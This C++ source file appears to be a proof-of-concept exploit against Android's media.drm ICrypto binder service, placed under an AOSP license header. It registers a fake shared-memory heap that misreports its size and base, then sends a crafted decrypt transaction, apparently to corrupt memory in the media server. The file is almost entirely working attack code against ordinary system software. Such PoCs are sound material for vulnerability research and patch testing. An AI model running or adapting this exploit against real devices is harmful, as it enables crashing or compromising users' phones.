/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions vand * limitations under the License. */ #include #include #include #include #include #include #include #include using namespace android; #define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION) #define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2) #define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5) #define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8) class MyMemoryHeap : public virtual BnMemoryHeap { public: MyMemoryHeap(int fd) { mFd = fd; } int getHeapID() const { return mFd; } void *getBase() const { return NULL; } size_t getSize() const { return 4096 * 4096; } uint32_t getFlags() const { return 0; } off_t getOffset() const { return 0; } private: mutable int mFd; }; sp crypto_binder; void make_crypto() { sp sm = defaultServiceManager(); sp drm_binder = sm->getService(String16("media.drm")); Parcel data, reply; data.writeInterfaceToken(String16("android.media.IMediaDrmService")); drm_binder->transact(MAKE_CRYPTO, data, &reply, 0); crypto_binder = reply.readStrongBinder(); } void create_plugin() { Parcel data, reply; data.writeInterfaceToken(String16("android.hardware.ICrypto")); uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02, 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b}; data.write(uuid, 16); data.writeInt32(0); crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0); } int set_heap() { Parcel data, reply; data.writeInterfaceToken(String16("android.hardware.ICrypto")); int fd = ashmem_create_region("ele7enxxh", 4096); sp heap = new MyMemoryHeap(fd); data.writeStrongBinder(IInterface::asBinder(heap)); crypto_binder->transact(SET_HEAP, data, &reply, 0); return reply.readInt32(); } void decrypt() { Parcel data, reply; data.writeInterfaceToken(String16("android.hardware.ICrypto")); data.writeInt32(0); data.writeInt32(0); data.writeInt32(0); uint8_t key[16]; memset(key, 0, 16); data.write(key, 16); uint8_t iv[16]; memset(iv, 0, 16); data.write(iv, 16); // totalsize data.writeInt32(4096 * 4); sp memoryDealer = new MemoryDealer(4096 * 4); sp mem = memoryDealer->allocate(4096 * 4); data.writeStrongBinder(IInterface::asBinder(mem)); // source.mHeapSeqNum data.writeInt32(0); // offset data.writeInt32(0); // numSubSamples data.writeInt32(1); // numBytesOfClearData data.writeInt32(4096 * 4); // numBytesOfEncryptedData data.writeInt32(0); // destination.mType data.writeInt32(0); // destination.mSharedMemory data.writeStrongBinder(IInterface::asBinder(mem)); crypto_binder->transact(DECRYPT, data, &reply, 0); } int main() { make_crypto(); create_plugin(); set_heap(); decrypt(); return 0; }